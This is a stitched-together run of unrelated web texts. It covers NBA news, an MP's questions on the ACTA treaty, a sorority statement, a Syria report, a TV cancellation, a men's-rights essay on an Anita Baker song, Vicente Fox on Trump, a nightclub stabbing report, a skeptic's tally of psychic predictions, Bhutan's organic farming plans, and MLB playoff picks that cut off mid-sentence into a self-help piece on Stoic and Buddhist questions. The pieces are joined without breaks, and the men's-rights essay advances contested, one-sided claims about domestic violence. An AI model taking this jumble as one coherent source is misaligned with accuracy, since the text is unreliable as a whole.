James has been an admirer of George for years, dating back to their battles in the Eastern Conference finals between the Pacers and the Miami Heat. When the Cavs outlasted the Pacers 135-130 in double overtime in a regular-season game in April, with George scoring 43 points to James' 41, the Cavs superstar recognized George with a post on Instagram.
Nothing but love and respect @ygtrece! Love the battle last night bro!! Glad to see u back to where u belong. #YoungKing13 #striveforgreatness🚀 A post shared by LeBron James (@kingjames) on Apr 3, 2017 at 12:34pm PDT
After that game, James also referred to George as a "big-time player," and when pressed further on his relationship with the Pacers swingman, he said, "We've got a really good friendship. I'm going to leave it at that."
Making matters more complicated for Cleveland is the contract status of general manager David Griffin. He entered the 2016-17 season on a lame-duck deal after failing to come to an extension agreement with owner Dan Gilbert in the summer of 2016 while the franchise was basking in the glory of the first championship for the city of Cleveland in more than 50 years.
Griffin is still shepherding the franchise and fielding calls, like Pritchard's, even though his contract is set to expire June 30.
The lack of resolution in Griffin's situation, with the NBA draft just four days away and free agency commencing in 16 days, is starting to cause some unrest within the ranks in Cleveland.
"Insanity," a source told ESPN of the Cavs' front-office situation.Canadian MP demands answers on secret copyright treaty
Canadian MP Charlie Angus -- a successful musician, the former front-man for punk legends L'Etranger -- has stood up in Parliament to demand that Prime Minister Harper and Minister of Foreign Affairs and International Trade Peter Van Loan explain exactly what the hell they think they're doing negotiating a secret copyright treaty without Parliamentary oversight or input from Canadians. Remember, this is the government that is meant to be working to design a copyright law based on an unprecedented public commission on copyright, where thousands and thousands of Canadians told government what they wanted from their national copyright law.
The secret copyright treaty -- ACTA, the Anti-Counterfeiting Trade Agreement -- contains provisions for border searches of laptops and personal media players, asks ISPs to spy on their users, and requires signatory nations' ISPs to disconnect the households of Internet users who are accused of copyright infringement.
It is presently being negotiated in Guadalajara, Mexico, in smoke-filled back rooms that are off-limits to the press, the public, public interest groups, independent copyright and trade experts, independent copyright creators -- just trade negotiators and representatives from big business are allowed to know what's going on.
1) First and foremost, why the secrecy? When the original WIPO treaties were being negotiated, the draft of texts were posted online and made available by Industry Canada. The federal government invited submissions on the process being undertaken. ACTA, on the other hand, is being negotiated entirely behind closed doors. Your government has gone along with this process by freezing out input from Parliament, public interest groups and key internet industries that could be adversely affected. This secrecy undermines the credibility of the Ministers of Industry and Heritage who have both made efforts to engage the public prior to the development of any new copyright framework for Canada. Canadians deserve transparency on this issue. Therefore I am asking if you will produce for the House of Commons the latest draft held by your Department of the (a) civil enforcement, (b) border measures, (c) criminal enforcement and (d) intellectual property rights enforcement section of the Anti-Counterfeiting Trade Agreement? 2) Will you produce the mandate letter given to Canada's negotiation team at ACTA? This will help provide the Canadian public with a sense of how far you've directed our representatives to go on key issues that affect our domestic laws and sovereignty. 3) What instructions have you given your negotiators regarding the issue of searching and seizing I-pods and laptops at international border crossings for potential non-commercial infringement of copyright? The ACLU reports that U.S. customs officials searched hundreds of devices last year. Is Canada prepared to authorize similar activities at our borders in an effort to ferret out alleged infringements by private citizens? 4) Is your government willing to impose a "Three Strikes and You're Out" approach to claims of copyright infringement?
ANSWERS NEEDED ON SECRET ACTA TALKS
Letter to Minister Van LoanDear Sisters,
We are writing at the request of many of our members and chapters to clarify Alpha Phi’s position on the 2015 Safe Campus and Fair Campus Acts which have been endorsed by the National Panhellenic Conference. Alpha Phi has not endorsed this legislation and has not committed to any financial support.
We believe in our principle of Watchcare that provides for unconditional support of our sisters at all times, including those who are survivors of sexual assault. We accept any social consequences that may be implied by others as we stand beside our sisters and support them if they choose to report the crime.
We believe our sisters who are survivors should have choices in how, when and to whom they go to for support or to report the crime. They should have their own voice and the support and encouragement they need to move forward including reporting as they choose to.
We believe universities should remain accountable for the safety of their campuses, and should continue to raise the bar to ensure that they report and respond to crimes and keep students safe. Their ability to do so should not be diminished.
We believe that each of our chapters and our members should have their own voice and should work with their communities to fight sexual assault. Alpha Phi members are strong women and leaders who can and will make a difference.
We believe in our members. We believe in Alpha Phi.
Loyally,
The Alpha Phi International Executive Board and Executive Office StaffFormer Syrian Prime Minister Riyad Hijab talks with Arab League head Nabil El-Arabi (not in picture) during their meeting in Cairo February 11, 2013. REUTERS/Mohamed Abd El Ghany (EGYPT - Tags: POLITICS)
DUBAI (Reuters) - Saudi Arabia will host what it called an “expanded” conference for the Syrian opposition this month, aiming to unify its position ahead of United Nations-backed peace talks, the state news agency SPA reported on Monday.
Saudi Arabia backs a grouping of opposition figures called the High Negotiations Committee (HNC) led by Riyad Hijab, a former Syrian prime minister under Assad. The HNC has represented the Syrian opposition at previous Geneva talks.
A number of other political opposition groups and figures backed by other countries including Russia and Egypt also exist.
It was not clear from SPA’s statement which Syrian opposition members would participate in the conference.
The kingdom, a leading backer of Syrian rebels, supports an international agreement on the future of Syria but maintains that President Bashar al-Assad should have no role in any transition to bring the war there to an end.
Assad, whose Syrian army forces have been backed by Saudi arch-foes Iran and Hezbollah, has made major gains against opposition forces and Islamic State militants.
“Based on the policy of the Kingdom in support of the efforts to establish peace and counter terrorism, and in response to the request of the Syrian opposition, an expanded meeting will be held in the city of Riyadh,” SPA said.
Talks set for November 22-24 aim “to bring its parties and platforms closer together and unite its negotiating delegation to resume direct negotiations in Geneva under the auspices of the U.N.”
Several rounds of U.N. talks in Geneva between the Damascus government and the opposition have made little progress.TBS’ programming slate overhaul continues with the cancellation of sitcom Clipped after one season. Since the regime change at the Turner network last fall, it has cleared the deck, ending all of its existing live-action original scripted series: Men At Work, Sullivan & Son, Ground Floor and now Clipped, as well as alternative series King Of The Nerds. All comedies were traditional multi-camera sitcoms.
At the beginning of the year, new TNT and TBS topper Kevin Reilly unveiled a TBS brand makeover with a focus on “bold sensibility and a network that’s more digital and more socially driven.”
TBS will have no original scripted series returning next year except for animated import American Dad! Upcoming live-action originals include Angie Tribeca, Wrecked, The Detour and The Group.
Clipped was a modest but very stable ratings performer, launching with 1.4 million viewers and a 0.4 among adults 18-49 in Live+Same Day and ending its season with 1.3 million viewers and a 0.5 demo rating for the finale.
Created by David Kohan and Max Mutchnick, Clipped was a workplace comedy set in a Charlestown, MA barbershop. Its cast included Mike Castle, Ashley Tisdale, Lauren Lapkus, Ryan Pinkston, Matt Cook, Diona Reasonover and George Wendt.As men in the Red Pill multiverse, we can fall into the trap of conflating the predictable outcomes of perverted incentive structures with congenital character flaws inherent in “the other.” While there are differences between men and women and yes, hypergamy is a natural force, it’s still important to recognize capacity for agency and accountability, and not be fallaciously reductionist in our outlook.
Of course, our popular culture reinforces said structures, whether it be the most influential female singer (and self-proclaimed feminist) of her generation promoting a caricatured manhood as the ideal:
…to other singers justifying relational vengeance in the form of larceny (Blu Cantrell’s “Hit Em Up Style”) to rationalizing infidelity (TLC’s “Creep”), to campaigns to end women’s prisons, there’s no shortage of messages telling women they can behave badly without suffering adverse consequences to themselves. You almost can’t blame teacher Megan Denman for her confusion.
The most compelling example in recent years is how the Tiger Woods story went from a textbook case of female domestic violence to “where did Tiger stick his dick?” Never that feminism was supposed to teach us that realtionSHIP does not mean ownerSHIP; Elin Woods’s payoff, literally, was $500 million, zero days in jail, and openly expressed heroine status.
Indeed, in matters of domestic discord, female hypoagency and male presumptive guilt are increasingly codified into policy or law, regardless of the level of physical violence, who initiated it, or even if there was no physical contact at all (“coercive control,” “verbal abuse”). What is “domestic violence” is increasingly (and unfortunately) less about what is done, but the genitalia of the person doing it. This piece linked on the AVFM “Hot on the Web” sidebar (and a comment by Paul in another article I cannot recall) reminds us that despite the popular reinforcement of plausible deniability, hypoagency afforded to modern women, introspection is more common than we think.
Indeed, it’s how we get so many women in the MHRM. Neither physical nor emotional bullying know gender in the real world, and it’s refreshing to hear women in public space query aloud, “why am I treating my partner like this?”
Which brings us to Anita Baker’s “I Apologize” immediately to mind. Despite what we all know (that women are just as likely, and probably more so, to singe their partners with fiery words), few and far between are melodic expressions of female contrition for a fight. Indeed, the catalogue of “I’m Sorry” songs is overwhelmingly male, which corresponds with the male trait, socially reinforced, of taking the blame, whether it was all his fault or not. The apologetic woman is not a common trope in popular music, which makes Baker’s unvarnished self-repudiation all the more exceptional.
Quite possibly the most distinctive voice in R&B, the veteran chanteuse is used to breaking the mold. The song doesn’t recount a physical altercation, per se, but does accurately reflect the origin of plurality of the physical disputes, based on the available research from those not in thrall to the Duluth Model Hive-Mind model of scholarship. Particularly, misplaced indignance and “bringing home problems” are not the sole province of “patriarchal oppression.” The device Baker uses as port of entry into her confessional is the phone operator, whom she implores to connect her to her man, melancholy and regret palpable in her voice.
Operator, get my baby on the line Just the other night/We had a horrible fight I admit that I, I was out of control
The subtext of the device is the novel conceit of the telephone operator as confessional priest. She unpacks her burdens, but not to relieve her guilt, but rather as a trial run.
Operator, it was like a bad dream Lord, you should have heard The way he shouted and the way that I screamed I regret it, because I was unfair I took it all out on him Just because he was there.
The allusion is a circumstance familiar to anyone who has ever been in a relationship – using a loved one as an outlet for misdirected anger
When the road gets rough, we say things we should not say I never meant to treat my baby that way
What makes the song most effective and sincere is the absence of the Passive Voice. The persistence of the personal pronoun “I” is like a metronome, punctuating the confession. In the chorus it’s uses no less than eight times, counting background vocals.
I apologize (Believe me I do)/Believe me I do I apologize (Honest and true)/Honest and true Because I know I was wrong/So I sing you this song And I’m tryin’ to get through/And make it up to you
No dissembling, no half-measures, no passive-aggressive narcissism, no reversals (“but if you hadn’t”) Just a pure, unvarnished penitence. Implicit in the song is the recognition that nothing hurts more to someone than biting, acerbic words from the one they love. Baker sets an example that should be emulated by all in relationships, but is sadly only socially, morally and legally reinforced for one. Enjoy, for you are unlikely to hear its type in the near future.
Please help AVFM continue to provide you a quality website, and to change the public discourse on gender to one more rational and sane.”poster="http://v.politico.com/images/1155968404/201608/3549/1155968404_5106250038001_5106228324001-vs.jpg?pubId=1155968404" true Vicente Fox: 'I really apologize' for Trump's Mexico visit
Mexican President Enrique Peña Nieto "is taking an enormous political risk" by hosting Donald Trump in Mexico City on Wednesday, former President Vicente Fox said, decrying the Republican nominee's visit as "opportunistic" and a "political stunt" while apologizing on behalf of the country for the president's invitation.
"Trump is using Mexico, is using President Peña to push his sinking poll numbers," Fox said in an interview with CNN's "New Day" hours ahead of the scheduled meeting in the Mexican capital.
Story Continued Below
If Peña Nieto is seen as "going soft" on the businessman, Fox warned, "it will hurt him greatly."
"He will even be considered like a traitor because we don’t accept to be offended," he added, remarking, "I think this is a big mistake on the part of President Peña."
Fox rejected the notion that the trip could improve the standing of either Trump or the sitting Mexican president among Mexicans.
"I mean, you cannot lie to people. You cannot take advantage of people all the time like he's doing. And you cannot cheat people. You have to be straight. You have to speak the truth. This is what he has done none at all. So it's a very opportunistic move and I hope U.S. public opinion, U.S. citizens can see this and finally, and finally see what is behind Trump, this false prophet that is just cheating everybody," Fox said. "It's a desperate move and I don't see how it can work at all."
Asked why he thought Peña Nieto invited Trump, Fox was at a loss. (The Mexican president has also extended an invitation to Democratic nominee Hillary Clinton.)
"That's what I don't understand, and I will not understand unless there's an explanation to it, except that Peña will take a very firm stand that he will reject and ask and commit him to apologize to all Mexicans here in Mexico and in the United States and that he withdraws all those stupid proposals of building a wall, putting together a trade war with Mexico, of limiting foreign investment into Mexico, of taxing imports to Mexico," Fox said. "I don't know where Peña is."
Fox called Trump's move "very smart," but quickly added that he could not be trusted.
"I don't understand what's going on here, and I really apologize for our president taking this step forward," Fox declared. "I really expect from him, as all 130 million Mexicans, all of our great brother Mexicans in the United States, an explanation from both, from President Peña and Trump himself."Pacers' Chris Copeland & GF Stabbed In NYC Attack 2 ATL Hawks Arrested In Aftermath
Pacers' Chris Copeland & GF -- Stabbed in NYC Attack... 2 ATL Hawks Arrested In Aftermath
Exclusive Video
An Indiana Pacers player and his girlfriend were stabbed -- and two ATL Hawks players were arrested for obstructing police -- in a violent incident outside of an NYC nightclub early Wednesday morning... TMZ Sports has learned.
The stabbing victim is Pacers forward Chris Copeland... who was stabbed in the stomach around 4 AM after leaving 1Oak nightclub. His girlfriend was slashed in the arm, breast and butt.
Officials says the injuries sustained by both Chris and his girlfriend are NOT life threatening. However, Copeland reportedly suffered a broken elbow in the attack and is undergoing surgery.
Cops say they arrested the person suspected of the stabbing -- 22-year-old Shezoy Bleary. Cops say Bleary used a switchblade in the attack.
Police say Copeland and his girlfriend were having a conversation when Bleary (who didn't know either of them) interjected... and a fight ensued.
Two Atlanta Hawks players -- Pero Antic and Thabo Sefolosha -- were arrested at the scene for trying to prevent police from setting up a crime scene.
Outside the club, Chris' GF told the media, "We were attacked out of nowhere by a f*cking black civilian."
She continued, "We have nothing to say. We are scared for our lives."
Copeland's teammate Paul George just tweeted about the incident -- saying, "Pray for my brother Chris."
9:40 AM PT -- Antic and Sefolosha left the 10th precinct Wednesday afternoon and are headed to court for their arraignment.
12:30 PM PT -- The two Hawks players were just in court briefly. Each was charged with resisting arrest and Obstructing Government Administration. They were released on their own recognizance and are due back in court on June 16.
12:50 PM PT -- According to the criminal complaint, Antic and Sefolosha were told six times to clear the scene, but would only "move a couple of feet away but refuse to clear the area."
When it came time to arrest Sefolosha, police say he flailed his arms, twisted his body and kicked his legs. It took four people, according to the complaint, to get him into cuffs.Psychic Nikki’s Scorecard for 2016
One of the great joys of a skeptical blogger’s New Year is looking back at the psychic predictions made for the previous year, and chortling at how far they went amiss. One of the great woes is realizing that this will not make a blind bit of difference to the true believers, who will cherish the “hits” and ignore the rest. So why do it? Because it’s fun. So here goes.
This year’s featured prophetess is known only as Nikki, Psychic to the Stars, a Toronto-based compatriot of mine. And I must say, unlike the rambling and semiliterate Joseph “Spiritman” Tittle I examined in previous years, she makes it easy for me. She kicks off her New Year’s forecast with a summary of her hits from the previous year. Her predictions are mostly clear, concise one-liners, conveniently numbered. She doesn’t go off on tirades about the Illuminati or chemtrails or large corporations or the Golden Dawn. So, bless her heart for that.
Her predictions fall into five categories:
World Predictions, covering world affairs in general
Star Predictions, covering celebrities
Wild International Weather Predictions, covering not only tornadoes and hurricanes, but also earthquakes, volcanic eruptions, tsunamis, and floods
The UK Royals
The Death and Health Watch. This is a dense list of celebrity names—I estimated just over 200—followed by a weasel note: “It does not mean the above mentioned will pass but they might have to watch their health and also watch for danger in their life.” Which, of course, gives her enormous latitude for claiming hits.
Alas, she did not do well in 2016. I did the maths. According to my count, she made about 540 predictions (there were some duplicates) and claimed 37 hits. This is a raw success rate of 6.85%, which is pretty pathetic. The following image shows it graphically: the hits are those lonely little splashes of yellow, and the misses are—well, all the rest. But to get the full flavour of how not-well Ms. Nikki did in 2016, you really have to look at the nature of the hits and misses.
Celebrity Deaths
Nikki correctly predicted that Fidel Castro, Zsa Zsa Gabor, and Muhammad Ali would die in 2016. Or did she? Mr. Castro and Ms. Gabor have been permanently on Nikki’s watchlist since 2004, several times with specific death predictions. Nikki may be secretly relieved they finally obliged. In fact, the specific prediction for Mr. Castro in 2016 (and 2007) was that the US would take over Cuba when he died, which so far has not happened. Mr. Ali only made the watchlist previously in 2007 and 2009, but I would like to point out he did not oblige her by winning the Nobel Peace Prize in 2003. Debbie Reynolds was on the watchlist in 2016—also 2008 through 2015 inclusive. Oh, and 2017.
But what of the string of other celebrity deaths in 2016? Somehow, Nikki missed out on David Bowie, Alan Rickman, Leonard Cohen, Carrie Fisher, Harper Lee, George Kennedy, Frank Sinatra Jr, Victoria Wood, Gordie Howe (hey, she’s a Canadian), Gene Wilder, Edward Albee, Shimon Peres, George Michael, John Glenn, and two-thirds of Emerson, Lake & Palmer. Etc.
Earthquakes and Terror Attacks
I mention these two together because, for these categories in particular, Nikki uses an approach which is not so much scattergunning as carpet-bombing. She claims to have predicted the terror attacks in Paris, Berlin, Istanbul and a few others, and earthquakes in Kansas, Oklahoma, Japan, Italy, New Zealand, and Central America. But wait.
Major earthquakes were to devastate Afghanistan, Anchorage, Argentina, Baja CA, British Isles, Buffalo, Chicago (plus St. Louis and Missouri), Chile, China, Corfu, Crete, Cyprus, Denmark, Ecuador, Egypt (damaging the pyramids), Fukushima, the Grand Canyon, Greece, Guam, Hawaii, Iceland, India (splitting it in two), Indonesia, Iran, Italy, Kansas (super-large), Lake Tahoe, London, Los Angeles, Malta, Manila, Memphis TN, Mexico, Montana (plus Idaho, Wyoming and Colorado), the Napa Valley, Nepal, New York City, New Zealand, the Niagara region, Norway, Oklahoma, Oregon, Ottawa, Panama, Peru, Portland (Maine), Quebec, Rome, Russia, San Diego, San Francisco, Scotland, Seattle, South Africa, Spain, Thailand, Tibet, Tokyo, Toronto, Utah, Vancouver (big one), and Yellowstone National Park. Less specifically, extra-large earthquakes were to wipe out towns in the US, and gigantic quakes were to hit California and Japan in general. One earthquake would affect New York City, New Jersey, Washington, Maryland and Virginia, another would strike North and South Carolina, and yet another would devastate British Columbia, the Northwest Territories, and Alaska.
Terrorist attacks were to take place in Amsterdam, Antwerp, Berlin, Brazil, Brussels, Buffalo, Chicago, Copenhagen, Dubai, Geneva, Heathrow, India, Istanbul, Kabul, Las Vegas, London (Covent Garden, Knightsbridge, Victoria Station), Los Angeles, Luxembourg, Manchester, Melbourne, Montreal, Moscow, Mumbai, Nairobi, New York (several), Niagara Falls, Pakistan, Paris, Riyadh, Rome, Scotland, Singapore, Sydney, Tel Aviv, Tokyo, Toronto, Vancouver, and Washington. Other attacks would take place in a football stadium, a circus, a soccer match, a Trump hotel, and a rodeo.
Really, she could hardly avoid getting a few hits among all the misses. And yet, she still managed not to mention, say, the various Pacific Islands where half of 2016’s most powerful earthquakes took place, nor the shocking terrorist attacks in Nice and Miami.
Epic Fails
Among the usual vague, trivial, ambiguous or bleeding obvious predictions that psychics specialize in, Nikki has buried a few gems: specific, bold, unambiguous, imaginative, striking…and wrong. Here are fifteen of my favourites of 2016.
A city will turn sideways after earthquake activity.
Treasure will be found in a castle wall in England, going back to King Henry the Eighth.
Grizzly bears attack people in cities in Alaska and British Columbia.
A new breed mixture of dog and cat.
A new President’s head at Mount Rushmore.
An arrest in the Madeleine McCann case.
A plane goes into Eiffel Tower in Paris.
Spaceship landing.
Prince Charles will become King for a short time; he could abdicate due to illness.
Another incident in Australia where a dingo kills a child, similar to the story depicted in the movie “A Cry in the Dark” with Meryl Streep.
A pet parrot will kill a movie star.
An arrest in the Natalie Wood case.
Category 5 hurricane wipes out Miami.
Kate and William will have another child, but they have to watch their marriage.
Hillary Clinton will become the next President of the United States.
As for 2017, well, most of La Nikki’s list looks like a copy-paste job from previous years. But there are a few novelties. There will be a global pasta shortage, so better stock up now on Kraft Dinner. The moon will turn green. The Leaning Tower of Pisa will fall over at last. Rainbows will be seen all over the world at the same time. A meteor will hit San Francisco. A robot will break into the White House—oh, wait….
Happy New Year!Bhutan could within a decade become the first country in the world to go wholly organic in its food production, according to key politicians in the Himalayan kingdom.
Agriculture and forests minister Lyonpo Yeshey Dorji and opposition leader Pema Gyamtsho, who held the post in the previous government, say there is a united commitment to rid the country of chemical fertilisers and pesticides.
While no formal timeframe has been put in place, both politicians believe that the goal is within sight as long as practical natural solutions can be found to the pest and disease problems still affecting a few crops. In order to speed up the search for these answers, Bhutan recently brought together experts on organic agriculture from across the world.
"If we continue to have the same intensity of commitment and intention, then we should be able to do it in five or ten years," says Gyamtsho, who estimates that around 70% of produce is already grown without chemicals. "But on the other hand, if we just use it as a slogan, it might take 20 or 30 years or it may not take place at all. It really depends on how serious successive governments are in taking this forward."
Dorji says the new government is maintaining the previous administration's strong commitment to organic agriculture but says any moves to eradicate chemicals needs to be done on a voluntary basis.
While he also says it is possible to become an organic nation within a decade, this is dependent on the government being able to "demonstrate that the benefits outweigh the costs and people should be willing and happy about the transition and choices. That means investment into agriculture research and support through conversion."
Despite the commitment from both main political parties, some experts within Bhutan worry that they are being too optimistic and that farmers are actually becoming increasingly reliant on chemical fertilisers. Many of the farmers the Guardian met in central and eastern Bhutan spoke of their reluctance to go fully organic as they believe their yields will fall, especially given weather patterns are becoming more erratic. Many growers, for example, say that chemical fertilisers increase the size of their potatoes, which makes it easier to find export markets in countries such as India.
However, Gyamtsho insists that the trend is in the opposite direction as farmers begin to recognise that chemicals are having a damaging effect on the quality of the soil.
"Farmers get quite excited when they use chemical fertilisers for the first time because they see that they have to do less work, less weeding," he says. "But then over a period of time they see also the negative consequences.
"Many farmers now see that it destroys the soil and its water retention capacity so unless they increase the input year by year, they're not getting the kind of returns that they were getting earlier.
"To develop this movement and change the mentality of the farmers, we need to take them to see land where yields are not being affected by using only natural fertilisers. If they are convinced then they will also adopt these practices."
Another issue that needs to be addressed if organic produce is to be economically viable is the lack of certification capacity within Bhutan. The first testing laboratory opened only recently.
Gyamtsho says the priority at the moment should be to satisfy regional markets that do not need the same level of third party oversight that buyers in Europe and the US demand.
But as the country's testing capacity grows, he says certification will be "a very important requirement not just for the export market but also for our people as they need to know what they're eating."
He says the organic strategy is to take a step-by-step approach, advancing region-by-region, product-by-product and that new innovations are essential to find ways to naturally eradicate diseases and improve crop yields.
"We are looking for alternative solutions such as bio-pesticide," he says. "The whole idea of having an international conference on organic ecology here is to tap into international expertise and resources available. So maybe we don't have the solution for cabbages but somebody in Brazil may have."
Tim Hewitt, CEO of IDE, which creates income and livelihood opportunities for poor rural households and has been working in neighbouring Nepal, says it makes commercial sense for the country to move towards organic food production but warns of dangers from seeking to claim the eradication of all chemicals.
"Integrated pest management has worked very well in Nepal but there is a trade-off. You're increasing the risk of loss of your harvest and you're raising prices because your yields are lower.
"I would caution against making a blanket statement that the country is 100% organic or aspires to be that way. Looking ahead, it will be difficult to maintain integrity if you claim something and people find out that's not the case."
Join the community of sustainability professionals and experts. Become a GSB member to get more stories like this direct to your inboxCan the Cleveland Indians follow the Chicago Cubs' lead and end their long World Series drought? Or should everyone be paying more attention to the Houston Astros in the American League? Who is coming out of the National League?
With the postseason set to start Tuesday with the AL wild-card game in New York (8 p.m. ET, ESPN), we asked 30 of our experts to give us their predictions: wild-card game winners, division series winners, League Championship Series winners and World Series winner.
• Complete coverage of the 2017 postseason
American League wild-card game
Fred Thornhill/The Canadian Press via AP
Yankees: 26
Twins: 4
Dave, you're one of the few picking the Twins to beat the Yankees. Why do you think Minnesota can come into New York and win?
Honestly: Why not? The point in picking the Twins is that the Yankees shouldn't be huge favorites in one game, but almost everybody is picking them. Aside from that, I like the chances of Ervin Santana pitching well, the Twins have been pounding the ball of late, and all the pressure is on the Yankees. -- David Schoenfield
National League wild-card game
Norm Hall/Getty Images
Diamondbacks: 25
Rockies: 5
Scott, how far do you think the Diamondbacks can go in the playoffs?
Zack Greinke is 13-1 with a 2.87 ERA at home this season, so it seems awfully foolish to bet against the Diamondbacks. They won't be an easy out in a short series either. Not with the righty-lefty combo of Greinke and Robbie Ray leading the rotation and an offense that's sneaky dangerous. The D-Backs went 11-8 against the Dodgers and will give their NL West rivals all they can handle in the division series. There's no reason they can't be the next wild-card team to reach the World Series. -- Scott Lauber
American League Division Series
AP Photo/Eric Christian Smith
ALDS No. 1: TBD at Indians -- Indians: 30
Everyone picked the Indians to win the ALDS. If they get tripped up, what will be the biggest reason why?
If the Yankees advance to the ALDS and find a way to get the early jump on the Indians, they'll make life awfully difficult on the Tribe. A |
do the smart thing. And that can seriously mess up our lives. At work, in love, or pretty much anything we do, we need emotional strength to stay cool and do the right thing.
Now dealing with the ups and downs of feelings isn't anything new. And nor are some of the best solutions. So let's look at what some ancient wisdom has to say about dealing with difficult emotions.
Studying Buddhist mindfulness or Stoicism can take a heck of a long time. So we'll prune their insights down to five questions that can help you when emotions hijack your brain and send you into a tizzy.
First up: worrying. When your mind is filled with anxious concerns and doubts, what question do you need to be asking yourself?
"Is this useful?"
Face it: Your brain can be a pretty crazy place. All kinds of things bounce around in there. And you're usually pretty good at culling the wacky thoughts. But then you get worried…
And your brain starts multiplying negative possibilities like crazy. And you make the mistake of taking them seriously. Every. Single. One.
Remember: You are not your thoughts. Neuroscientist Alex Korb made an interesting distinction when I spoke to him. If you were to break your arm you would not tell people, "I am broken." But when we feel worry we're quick to say, "I am worried."
Your brain produces thoughts. That's its job. But that's not directly under your control. So just because something is in your head, doesn't mean it's "you," and should therefore be taken seriously.
When I spoke to Buddhist mindfulness expert Sharon Salzberg, she said this:
I think one of the issues that we have is that we don't necessarily recognize that a thought is just a thought. We have a certain thought, we take it to heart, we build a future on it, we think, "This is the only thing I'll ever feel," "I'm an angry person and I always will be," "I'm going to be alone for the rest of my life," and that process happens pretty quickly.
If you acted on every crazy thought that popped into your head, I can guarantee you two things:
There's a blockbuster reality show in your future.
And not a lot of happiness.
So if you are not your thoughts, who are "you"? You're the thing that decides which thoughts are useful and should be taken seriously.
The ancient Stoics believed that you are just your reasoned choice; because that's the only thing fully under your control. So those worried thoughts aren't you. The decisions you make regarding them are.
You're not your brain; you're the CEO of your brain. You can't control everything that goes on in "Mind, Inc." But you can decide which projects get funded with your attention and action.
So when a worry is nagging at you, step back and ask: "Is this useful?"
When I spoke to Buddhist mindfulness expert Joseph Goldstein he said:
This thought which has arisen, is it helpful? Is it serving me or others in some way or is it not? Is it just playing out perhaps old conditions of fear or judgment or things that are not very helpful for ourselves or others? Mindfulness really helps us both see and discern the difference and then it becomes the foundation then for making wiser choices and why the choices lead to more happiness.
If the worry is reasonable, do something about it. If it's irrational or out of your control, recognize that. Neuroscience shows that merely making a decision like this can reduce worry and anxiety.
(To learn the 7-step morning ritual that will make you happy all day, click here.)
But maybe you're not worried. Maybe you're furious. But what is anger? Where does it come from? And what question can make these HULK SMASH feelings go away?
"Does the world owe me this?"
Anger comes from entitlement. You feel you're entitled to something, reality doesn't bend to your expectations and boom — you're punching things. Or people.
Traffic is bad. You get angry. Let me translate that thought process for you: "Traffic should never cause me problems. The world owes me that." Sound reasonable? Hardly.
Or someone doesn't do what they said they'd do. You get angry. Now you might reply, "People should do what they say they'll do! I have a right to be angry!"
Yes, it would be nice if people always followed through, but is that a reasonable expectation? Of course not. You know people don't always do what they say. Now you can definitely call them out on it. You can decide to do something in response. But the anger?
That awful feeling is all yours. You had an unrealistic expectation ("People will always do what they say") and now you're shocked — SHOCKED! — that they didn't.
Famed psychologist Albert Ellis (whose work was inspired by the Stoics) led a war against the words "should" and "must." Anytime you use those words, you're probably in for some unhappiness because you're saying the universe is obligated to bend to your will. Good luck with that.
So the solution to anger is to ask yourself: "Does the world owe me this?"
Yeah, it's a trick question. Because the world doesn't owe you anything. And the more you think the world owes you, the angrier you will be. Again, it's all about reasonable expectations. And that's why Marcus Aurelius said:
Begin each day by telling yourself: Today I shall be meeting with interference, ingratitude, insolence, disloyalty, ill-will, and selfishness…
Not a pleasant way to start the day — that I grant you. But he was on to something. Expecting everything to go your way, let alone insisting on it, is a prescription for anger.
I know what some people are thinking: Feeling you're entitled to nothing in life seems unfair and sad. But don't forget that you take for granted what you are owed. Not being entitled makes every good thing in life a prize. You either achieved it or you were lucky, and those lead to feelings of pride or gratitude.
When you're entitled, you don't appreciate anything, and you're frequently disappointed. Not a good combo. And when psychologists are evaluating if someone is a narcissist, guess what one of the four criteria is? Yeah, entitlement.
(To learn how mindfulness can make you happy, click here.)
Maybe you're not worried or angry. Maybe you're just overwhelmed by sadness about something. Well, I have a question for you…
"Must I have this to live a happy life?"
Plenty of people have a lot less than you and live a very happy life. If happiness was all about money then every single person in the developing world would be miserable. People who have lost a loved one, who have become handicapped, or heaven forbid, had a bad hair day, are all capable of living happy lives.
What do you truly need to live a happy life? (Hint: The longer your list, the more miserable you will be.)
As Marcus Aurelius said:
Very little is needed to make a happy life; it is all within yourself, in your way of thinking.
So next time you don't get something you want and it makes you sad, ask yourself, "Must I have this to live a happy life?"
Yeah, yeah, forgive me — it's another trick question. The answer is almost always "no."
Maybe you didn't get that promotion. And when you ask yourself the question, your first thought is: "But my career is important to my happiness!"
Hey, I underlined the word "this" for a reason, pal.
Yes, your career is important. But is this promotion, right now, vital to the happiness of your life? No. Who knows what the future holds? And some of that is under your control. There are many ways to live a happy life and very rarely will this one thing make or break you.
(To learn the four rituals neuroscience says will make you happy, click here.)
Now when you're consumed by negative emotions it can be very hard to make good decisions. Which means more bad stuff happens, which means more bad feelings. So how do you make smart choices when you feel awful? Just ask…
"Is this who I want to be?"
News flash: There is no singular, concrete "you." Neuroscientists have poked around at plenty of grey matter and there's no spot in there that contains a stable "you." And Buddhists were saying this over a thousand years ago.
Neuroscientist and Buddhism practitioner John Yates explains:
We often believe we should be in control, the masters of our own minds. But that belief only creates problems for your practice. It will lead you to try to willfully force the mind into submission. When that inevitably fails, you will tend to get discouraged and blame yourself. This can turn into a habit unless you realize there is no "self" in charge of the mind, and therefore nobody to blame.
Tons of things affect your decisions every day. Context, friends, and moods all affect what you do and who you are. This is a good thing, because it means you can change.
But it presents a challenge because it means you need to decide which person you will be today, Sybil. And this isn't something you want to get wrong. What is the #1 regret people have on their deathbeds?
I wish I'd had the courage to live a life true to myself, not the life others expected of me.
Yow. So who should you decide to be? We can turn to modern science for this answer: Be you on your best day. So when making tough choices think about whether what you plan to do is aligned with the "you" you're most proud of.
Merely thinking about your best possible self makes you happier:
Results generally supported these hypotheses, and suggested that the [Best Possible Self] exercise may be most beneficial for raising and maintaining positive mood.
And don't worry about seeming inauthentic either. When you act like your best self, you end up showing people what you're really like:
…positive self-presentation facilitates more accurate impressions, indicating that putting one's best self forward helps reveal one's true self.
(To learn the schedule very successful people follow every day, click here.)
Alright, this has all been very focused inside your head. How can you be emotionally strong when someone you're dealing with is being emotionally weak or difficult? If someone else is anxious, angry, or sad, and it's making your life rough, that can bring you down. How do you help both of you? Ask yourself…
"Have I ever felt that way?"
Whatever they are going through, you've probably felt something similar. So be compassionate.
Both Buddhism and Stoicism believe in doing your best to reduce the suffering of others. Buddhism has the four divine abodes: loving-kindness, compassion, sympathetic joy, and equanimity. And on the Stoic side, good ol' Marcus Aurelius said:
Be tolerant with others and strict with yourself.
